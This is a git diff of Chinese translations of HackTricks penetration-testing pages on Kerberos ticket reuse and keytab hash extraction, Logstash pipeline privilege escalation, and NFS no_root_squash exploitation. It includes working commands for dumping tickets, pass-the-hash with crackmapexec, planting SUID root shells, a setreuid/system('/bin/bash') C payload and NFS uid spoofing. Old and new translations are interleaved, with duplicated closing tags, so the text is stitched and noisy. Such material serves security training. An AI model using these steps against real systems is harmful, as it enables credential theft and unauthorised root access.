使用`env | grep KRB5CCNAME`列出用于身份验证的当前票证。该格式是可移植的,可以通过使用`export KRB5CCNAME=/tmp/ticket.ccache`设置环境变量来**重用票证**。Kerberos票证名称格式为`krb5cc_%{uid}`,其中uid是用户UID。
|
||||
使用 `env | grep KRB5CCNAME` 列出当前用于身份验证的票证。该格式是可移植的,票证可以通过使用 `export KRB5CCNAME=/tmp/ticket.ccache` 设置环境变量来 **重用**。Kerberos 票证名称格式为 `krb5cc_%{uid}`,其中 uid 是用户 UID。
|
||||
```bash
|
||||
# Find tickets
|
||||
ls /tmp/ | grep krb5cc
|
||||
|
@ -59,9 +62,9 @@ krb5cc_1000
|
|||
# Prepare to use it
|
||||
export KRB5CCNAME=/tmp/krb5cc_1000
|
||||
```
|
||||
### 从密钥环中重用CCACHE票证
|
||||
### CCACHE 票证重用来自密钥环
|
||||
|
||||
**存储在进程内存中的Kerberos票证可以被提取**,特别是当机器的ptrace保护被禁用时(`/proc/sys/kernel/yama/ptrace_scope`)。用于此目的的一个有用工具可在[https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)找到,它通过注入到会话中并将票证转储到`/tmp`来简化提取过程。
|
||||
**存储在进程内存中的 Kerberos 票证可以被提取**,特别是在机器的 ptrace 保护被禁用时(`/proc/sys/kernel/yama/ptrace_scope`)。一个有用的工具可以在 [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) 找到,它通过注入会话并将票证转储到 `/tmp` 来方便提取。
|
||||
|
||||
要配置和使用此工具,请按照以下步骤进行:
|
||||
```bash
|
||||
|
@ -70,18 +73,20 @@ cd tickey/tickey
|
|||
make CONF=Release
|
||||
/tmp/tickey -i
|
||||
```
|
||||
### 从SSSD KCM中重用CCACHE票证
|
||||
此过程将尝试注入到各种会话中,通过将提取的票证存储在 `/tmp` 中,命名约定为 `__krb_UID.ccache` 来指示成功。
|
||||
|
||||
SSSD在路径`/var/lib/sss/secrets/secrets.ldb`中维护了一个数据库的副本。相应的密钥存储在路径`/var/lib/sss/secrets/.secrets.mkey`中作为一个隐藏文件。默认情况下,只有具有**root**权限的用户才能读取该密钥。
|
||||
### 来自SSSD KCM的CCACHE票证重用
|
||||
|
||||
通过使用`SSSDKCMExtractor`工具,并提供--database和--key参数,可以解析数据库并**解密这些秘密**。
|
||||
SSSD在路径 `/var/lib/sss/secrets/secrets.ldb` 处维护数据库的副本。相应的密钥存储为隐藏文件,路径为 `/var/lib/sss/secrets/.secrets.mkey`。默认情况下,只有在您具有 **root** 权限时,才能读取该密钥。
|
||||
|
||||
使用 \*\*`SSSDKCMExtractor` \*\* 调用 --database 和 --key 参数将解析数据库并 **解密秘密**。
|
||||
```bash
|
||||
git clone https://github.com/fireeye/SSSDKCMExtractor
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
```
|
||||
**凭证缓存Kerberos blob可以转换为可用的Kerberos CCache文件,然后可以传递给Mimikatz/Rubeus。**
|
||||
**凭证缓存 Kerberos blob 可以转换为可用的 Kerberos CCache** 文件,可以传递给 Mimikatz/Rubeus。
|
||||
|
||||
### 从keytab重用CCACHE票证
|
||||
### 从 keytab 重用 CCACHE 票证
|
||||
```bash
|
||||
git clone https://github.com/its-a-feature/KeytabParser
|
||||
python KeytabParser.py /etc/krb5.keytab
|
||||
|
@ -89,39 +94,42 @@ klist -k /etc/krb5.keytab
|
|||
```
|
||||
### 从 /etc/krb5.keytab 提取账户
|
||||
|
||||
**`/etc/krb5.keytab`** 文件中存储着服务账户密钥,对于以 root 权限运行的服务至关重要。这些密钥类似于服务的密码,需要严格保密。
|
||||
服务账户密钥,对于以 root 权限运行的服务至关重要,安全地存储在 **`/etc/krb5.keytab`** 文件中。这些密钥类似于服务的密码,要求严格保密。
|
||||
|
||||
要检查 keytab 文件的内容,可以使用 **`klist`**。该工具旨在显示关键细节,包括用户认证的 **NT Hash**,特别是当密钥类型被识别为 23 时。
|
||||
要检查 keytab 文件的内容,可以使用 **`klist`**。该工具旨在显示密钥详细信息,包括用户身份验证的 **NT Hash**,特别是当密钥类型被识别为 23 时。
|
||||
```bash
|
||||
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
|
||||
# Output includes service principal details and the NT Hash
|
||||
```
|
||||
对于Linux用户,**`KeyTabExtract`**提供了提取RC4 HMAC哈希的功能,可以用于NTLM哈希重用。
|
||||
对于Linux用户,**`KeyTabExtract`** 提供了提取RC4 HMAC哈希的功能,这可以用于NTLM哈希重用。
|
||||
```bash
|
||||
python3 keytabextract.py krb5.keytab
|
||||
# Expected output varies based on hash availability
|
||||
```
|
||||
在 macOS 上,**`bifrost`** 作为一个用于分析 keytab 文件的工具。
|
||||
在 macOS 上,**`bifrost`** 作为一个工具用于 keytab 文件分析。
|
||||
```bash
|
||||
./bifrost -action dump -source keytab -path /path/to/your/file
|
||||
```
|
||||
利用提取的帐户和哈希信息,可以使用类似 **`crackmapexec`** 的工具建立与服务器的连接。
|
||||
利用提取的账户和哈希信息,可以使用工具如 **`crackmapexec`** 建立与服务器的连接。
|
||||
```bash
|
||||
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
|
||||
```
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在**HackTricks中宣传您的公司**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,25 +1,30 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Logstash
|
||||
|
||||
Logstash用于通过称为**管道**的系统**收集、转换和分发日志**。这些管道由**输入**、**过滤器**和**输出**阶段组成。当Logstash在受损的计算机上运行时,会出现一个有趣的方面。
|
||||
Logstash 用于 **收集、转换和分发日志**,通过一种称为 **管道** 的系统。这些管道由 **输入**、**过滤** 和 **输出** 阶段组成。当 Logstash 在被攻陷的机器上运行时,会出现一个有趣的方面。
|
||||
|
||||
### 管道配置
|
||||
|
||||
管道在文件**/etc/logstash/pipelines.yml**中进行配置,该文件列出了管道配置的位置:
|
||||
管道在文件 **/etc/logstash/pipelines.yml** 中配置,该文件列出了管道配置的位置:
|
||||
```yaml
|
||||
# Define your pipelines here. Multiple pipelines can be defined.
|
||||
# For details on multiple pipelines, refer to the documentation:
|
||||
|
@ -31,21 +36,21 @@ path.config: "/etc/logstash/conf.d/*.conf"
|
|||
path.config: "/usr/share/logstash/pipeline/1*.conf"
|
||||
pipeline.workers: 6
|
||||
```
|
||||
这个文件揭示了包含管道配置的 **.conf** 文件的位置。在使用 **Elasticsearch 输出模块** 时,通常会在 **pipelines** 中包含 **Elasticsearch 凭据**,这些凭据通常具有广泛的权限,因为 Logstash 需要将数据写入 Elasticsearch。配置路径中的通配符允许 Logstash 执行指定目录中的所有匹配管道。
|
||||
该文件揭示了包含管道配置的 **.conf** 文件的位置。当使用 **Elasticsearch output module** 时,**pipelines** 通常包含 **Elasticsearch credentials**,这些凭据通常具有广泛的权限,因为 Logstash 需要将数据写入 Elasticsearch。配置路径中的通配符允许 Logstash 执行指定目录中所有匹配的管道。
|
||||
|
||||
### 通过可写管道进行权限提升
|
||||
|
||||
要尝试权限提升,首先要确定 Logstash 服务正在运行的用户,通常是 **logstash** 用户。确保您满足以下 **一个** 条件之一:
|
||||
要尝试权限提升,首先识别 Logstash 服务运行的用户,通常是 **logstash** 用户。确保满足 **以下** 条件之一:
|
||||
|
||||
- 拥有对管道 **.conf** 文件的 **写入访问权限** **或**
|
||||
- **/etc/logstash/pipelines.yml** 文件使用通配符,并且您可以写入目标文件夹
|
||||
- 拥有对管道 **.conf** 文件的 **写访问** **或**
|
||||
- **/etc/logstash/pipelines.yml** 文件使用了通配符,并且您可以写入目标文件夹
|
||||
|
||||
此外,必须满足以下 **一个** 条件之一:
|
||||
此外,必须满足 **以下** 条件之一:
|
||||
|
||||
- 有能力重新启动 Logstash 服务 **或**
|
||||
- 能够重启 Logstash 服务 **或**
|
||||
- **/etc/logstash/logstash.yml** 文件中设置了 **config.reload.automatic: true**
|
||||
|
||||
给定配置中的通配符,创建一个与此通配符匹配的文件允许执行命令。例如:
|
||||
鉴于配置中存在通配符,创建一个与该通配符匹配的文件可以执行命令。例如:
|
||||
```bash
|
||||
input {
|
||||
exec {
|
||||
|
@ -61,26 +66,30 @@ codec => rubydebug
|
|||
}
|
||||
}
|
||||
```
|
||||
在这里,**interval** 确定了以秒为单位的执行频率。在给定的示例中,**whoami** 命令每 120 秒运行一次,并将其输出重定向到 **/tmp/output.log**。
|
||||
这里,**interval** 决定了执行频率(以秒为单位)。在给定的示例中,**whoami** 命令每 120 秒运行一次,其输出被定向到 **/tmp/output.log**。
|
||||
|
||||
在 **/etc/logstash/logstash.yml** 中设置 **config.reload.automatic: true**,Logstash 将自动检测并应用新的或修改过的管道配置,无需重新启动。如果没有通配符,仍然可以对现有配置进行修改,但建议谨慎操作以避免中断。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
||||
在 **/etc/logstash/logstash.yml** 中设置 **config.reload.automatic: true**,Logstash 将自动检测并应用新的或修改过的管道配置,而无需重启。如果没有通配符,仍然可以对现有配置进行修改,但建议谨慎操作以避免中断。
|
||||
|
||||
## References
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* 通过向 **HackTricks** 和 **HackTricks Cloud** github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,37 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
读取 _ **/etc/exports** _ 文件,如果找到某个目录配置为 **no\_root\_squash**,那么您可以从**客户端**访问该目录,并**在其中写入**文件,就好像您是本地机器的**root**一样。
|
||||
阅读 _ **/etc/exports** _ 文件,如果你发现某个目录被配置为 **no\_root\_squash**,那么你可以 **作为客户端访问** 该目录,并 **像本地机器的 root 一样在该目录中写入**。
|
||||
|
||||
**no\_root\_squash**:此选项基本上授予客户端上的root用户访问NFS服务器上文件的权限。这可能导致严重的安全问题。
|
||||
**no\_root\_squash**:此选项基本上赋予客户端的 root 用户以 root 身份访问 NFS 服务器上的文件的权限。这可能导致严重的安全隐患。
|
||||
|
||||
**no\_all\_squash**:这类似于 **no\_root\_squash** 选项,但适用于**非root用户**。想象一下,您以nobody用户的身份获得了shell;检查了 /etc/exports 文件;存在 no\_all\_squash 选项;检查了 /etc/passwd 文件;模拟一个非root用户;以该用户的身份创建一个suid文件(通过使用nfs进行挂载)。以nobody用户身份执行suid文件并成为不同的用户。
|
||||
**no\_all\_squash**:这与 **no\_root\_squash** 选项类似,但适用于 **非 root 用户**。想象一下,你以 nobody 用户的身份获得一个 shell;检查 /etc/exports 文件;存在 no\_all\_squash 选项;检查 /etc/passwd 文件;模拟一个非 root 用户;以该用户身份创建一个 suid 文件(通过使用 nfs 挂载)。以 nobody 用户身份执行该 suid 文件并成为不同的用户。
|
||||
|
||||
# 提权
|
||||
# 权限提升
|
||||
|
||||
## 远程利用
|
||||
|
||||
如果您发现了此漏洞,您可以利用它:
|
||||
如果你发现了这个漏洞,你可以利用它:
|
||||
|
||||
* 在客户端机器上**挂载该目录**,并**以root身份将** /bin/bash **二进制文件复制到挂载的文件夹中,并赋予其**SUID**权限,然后从受害者**机器上执行**该bash二进制文件。
|
||||
* **在客户端机器上挂载该目录**,并 **以 root 身份将** /bin/bash **二进制文件复制到挂载文件夹中并赋予其 SUID 权限,然后从受害者机器执行该 bash 二进制文件。**
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
mkdir /tmp/pe
|
||||
|
@ -38,7 +44,7 @@ chmod +s bash
|
|||
cd <SHAREDD_FOLDER>
|
||||
./bash -p #ROOT shell
|
||||
```
|
||||
* **在客户端机器上挂载**该目录,并**以root身份复制**我们编译好的恶意载荷到挂载的文件夹中,该载荷将滥用SUID权限,赋予它**SUID**权限,并**从受害者**机器上执行该二进制文件(您可以在这里找到一些[C SUID载荷](payloads-to-execute.md#c))。
|
||||
* **在客户端机器上挂载该目录**,并**以root身份复制**我们编译的有效载荷到挂载文件夹中,该有效载荷将滥用SUID权限,赋予其**SUID**权限,并**从受害者**机器执行该二进制文件(您可以在这里找到一些[C SUID有效载荷](payloads-to-execute.md#c))。
|
||||
```bash
|
||||
#Attacker, as root user
|
||||
gcc payload.c -o payload
|
||||
|
@ -52,22 +58,22 @@ chmod +s payload
|
|||
cd <SHAREDD_FOLDER>
|
||||
./payload #ROOT shell
|
||||
```
|
||||
## 本地利用
|
||||
## Local Exploit
|
||||
|
||||
{% hint style="info" %}
|
||||
请注意,如果您可以从您的计算机创建一个隧道到受害者计算机,您仍然可以使用远程版本来利用这个提权漏洞,隧道所需的端口。\
|
||||
以下技巧是针对文件 `/etc/exports` **指示一个IP** 的情况。在这种情况下,您将无法在任何情况下使用**远程利用**,您将需要**滥用这个技巧**。\
|
||||
利用工作的另一个必要条件是**`/etc/export` 中的导出**必须使用`insecure`标志。\
|
||||
--_我不确定如果 `/etc/export` 指示一个IP地址这个技巧是否会起作用_--
|
||||
注意,如果您可以从您的机器创建一个**到受害者机器的隧道,您仍然可以使用远程版本来利用这个特权提升,隧道所需的端口**。\
|
||||
以下技巧适用于文件`/etc/exports` **指示一个IP**的情况。在这种情况下,您**将无法使用**任何情况下的**远程利用**,您需要**利用这个技巧**。\
|
||||
另一个使利用有效的必要条件是**`/etc/export`中的导出** **必须使用`insecure`标志**。\
|
||||
\--_我不确定如果`/etc/export`指示一个IP地址,这个技巧是否有效_--
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
## Basic Information
|
||||
|
||||
该场景涉及利用本地机器上挂载的NFS共享,利用NFSv3规范中的一个缺陷,允许客户端指定其uid/gid,从而可能实现未经授权的访问。利用涉及使用 [libnfs](https://github.com/sahlberg/libnfs),这是一个允许伪造NFS RPC调用的库。
|
||||
该场景涉及利用本地机器上挂载的NFS共享,利用NFSv3规范中的一个缺陷,该缺陷允许客户端指定其uid/gid,从而可能实现未经授权的访问。利用涉及使用[libnfs](https://github.com/sahlberg/libnfs),这是一个允许伪造NFS RPC调用的库。
|
||||
|
||||
### 编译库
|
||||
### Compiling the Library
|
||||
|
||||
根据内核版本的不同,库的编译步骤可能需要进行调整。在这种特定情况下,fallocate系统调用被注释掉了。编译过程涉及以下命令:
|
||||
库的编译步骤可能需要根据内核版本进行调整。在这种特定情况下,fallocate系统调用被注释掉。编译过程涉及以下命令:
|
||||
```bash
|
||||
./bootstrap
|
||||
./configure
|
||||
|
@ -76,7 +82,7 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
|
|||
```
|
||||
### 进行利用
|
||||
|
||||
该利用涉及创建一个简单的C程序(`pwn.c`),将权限提升至root,然后执行一个shell。该程序被编译,生成的二进制文件(`a.out`)被放置在共享目录中,并使用`ld_nfs.so`来伪造RPC调用中的uid:
|
||||
该利用涉及创建一个简单的 C 程序 (`pwn.c`),该程序提升权限到 root,然后执行一个 shell。程序被编译,生成的二进制文件 (`a.out`) 被放置在具有 suid root 的共享上,使用 `ld_nfs.so` 在 RPC 调用中伪造 uid:
|
||||
|
||||
1. **编译利用代码:**
|
||||
```bash
|
||||
|
@ -85,7 +91,7 @@ int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
|
|||
gcc pwn.c -o a.out
|
||||
```
|
||||
|
||||
2. **将利用程序放置在共享目录中,并通过伪造uid修改其权限:**
|
||||
2. **将利用放置在共享上并通过伪造 uid 修改其权限:**
|
||||
```bash
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
|
||||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
|
||||
|
@ -93,14 +99,14 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs:
|
|||
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
|
||||
```
|
||||
|
||||
3. **执行利用程序以获取root权限:**
|
||||
3. **执行利用以获得 root 权限:**
|
||||
```bash
|
||||
/mnt/share/a.out
|
||||
#root
|
||||
```
|
||||
|
||||
## 附加内容:NFShell 用于隐蔽文件访问
|
||||
一旦获得root访问权限,为了与NFS共享进行交互而不更改所有权(以避免留下痕迹),使用一个Python脚本(nfsh.py)。该脚本调整uid以匹配所访问文件的uid,允许在共享目录中与文件进行交互而不会出现权限问题:
|
||||
## 额外:NFShell 用于隐秘文件访问
|
||||
一旦获得 root 访问权限,为了在不更改所有权的情况下与 NFS 共享进行交互(以避免留下痕迹),使用一个 Python 脚本 (nfsh.py)。该脚本调整 uid 以匹配被访问文件的 uid,从而允许与共享上的文件进行交互而不出现权限问题:
|
||||
```python
|
||||
#!/usr/bin/env python
|
||||
# script from https://www.errno.fr/nfs_privesc.html
|
||||
|
@ -124,20 +130,27 @@ os.system(' '.join(sys.argv[1:]))
|
|||
# ll ./mount/
|
||||
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
|
||||
```
|
||||
## 参考
|
||||
* [https://www.errno.fr/nfs_privesc.html](https://www.errno.fr/nfs_privesc.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# 执行载荷
|
||||
# Payloads to execute
|
||||
|
||||
{% hint style="success" %}
|
||||
